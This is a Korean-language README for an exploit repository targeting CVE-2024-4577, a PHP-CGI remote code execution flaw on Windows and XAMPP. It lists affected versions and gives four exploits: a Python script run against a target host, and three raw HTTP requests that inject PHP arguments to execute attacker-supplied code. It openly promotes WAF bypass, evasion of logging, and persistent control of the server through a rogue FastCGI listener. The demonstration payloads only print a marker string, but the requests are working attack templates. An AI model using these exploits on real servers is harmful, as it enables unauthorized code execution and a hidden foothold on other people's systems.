CVE-2024-4577-PHP-RCE

프로젝트 소개 및 원리

• 전 세계 최초로 PHP 기본 환경(XAMPP)을 이용한 CVE-2024-4577 PHP-CGI RCE 취약점 EXP.
• 세계 최초의 CVE-2024-4577 PHP-CGI RCE 익스플로잇으로, 기본 PHP 환경을 활용합니다. 독창적인 익스플로잇을 공유하며, SSRF 및 WAF 우회를 지원합니다.
• PHP 기본 환경에서 RCE를 구현합니다. 원리: cgi.force_redirect + REDIRECT-STATUS.
• 새로운 독창적 EXP 추가: WAF 우회 시나리오를 지원합니다. 원리: FastCGI 서버 구축 + FastCGI 프로토콜 통신.
• 새로운 독창적 EXP 추가: SSRF 시나리오를 지원합니다. 원리: data:// 프로토콜 + GET 요청.

EXP 1의 장점

• allow_url_include, auto_prepend_file, auto_append_file 없이도 RCE 가능합니다. 임의의 파일 및 PHP 파일을 포함할 수 있습니다.
• WAF가 자주 차단하는 키워드 allow_url_include, auto_prepend_file, auto_append_file이 나타나지 않습니다.
• FastCGI 서버의 모든 통신이 WAF에 기록되지 않습니다.
• 새 포트를 수신하여 Apache 및 PHP와 독립적으로 PHP 서버를 지속적으로 제어할 수 있습니다.

취약점 개요

영향을 받는 버전

• PHP Windows 버전 8.3.0 <= 영향 버전 < 8.3.8
• PHP Windows 버전 8.2.0 <= 영향 버전 < 8.2.20
• PHP Windows 버전 8.1.0 <= 영향 버전 < 8.1.29
• PHP Windows 버전 영향 버전 == 8.0.x
• PHP Windows 버전 영향 버전 == 7.x
• PHP Windows 버전 영향 버전 == 5.x
• XAMPP Windows 버전 8.2.0 <= 영향 버전 <= 8.2.12
• XAMPP Windows 버전 8.1.0 <= 영향 버전 <= 8.1.25
• XAMPP Windows 버전 영향 버전 == 8.0.x
• XAMPP Windows 버전 영향 버전 == 7.x
• XAMPP Windows 버전 영향 버전 == 5.x

EXP 1

WAF 우회 시나리오 + 기본 시나리오에 사용 가능:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

예:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

SSRF 시나리오 + 기본 시나리오에 사용 가능:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

기본 시나리오에 사용 가능:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

기본 시나리오에 사용 가능:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

재현

1. 서버 환경:

XAMPP Windows 버전 8.2.12

2. 서버에서 XAMPP 다운로드 및 설치:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

또는 직접 이곳에서 영향을 받는 버전을 선택하세요: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

3. 서버 구성

수정 없이 기본 구성 유지

4. 클라이언트에서 EXP 사용

위 EXP를 사용하여 테스트

5. 확인

응답으로 문자열 "TesT" 또는 서버의 system.ini 파일 내용이 반환되는지 확인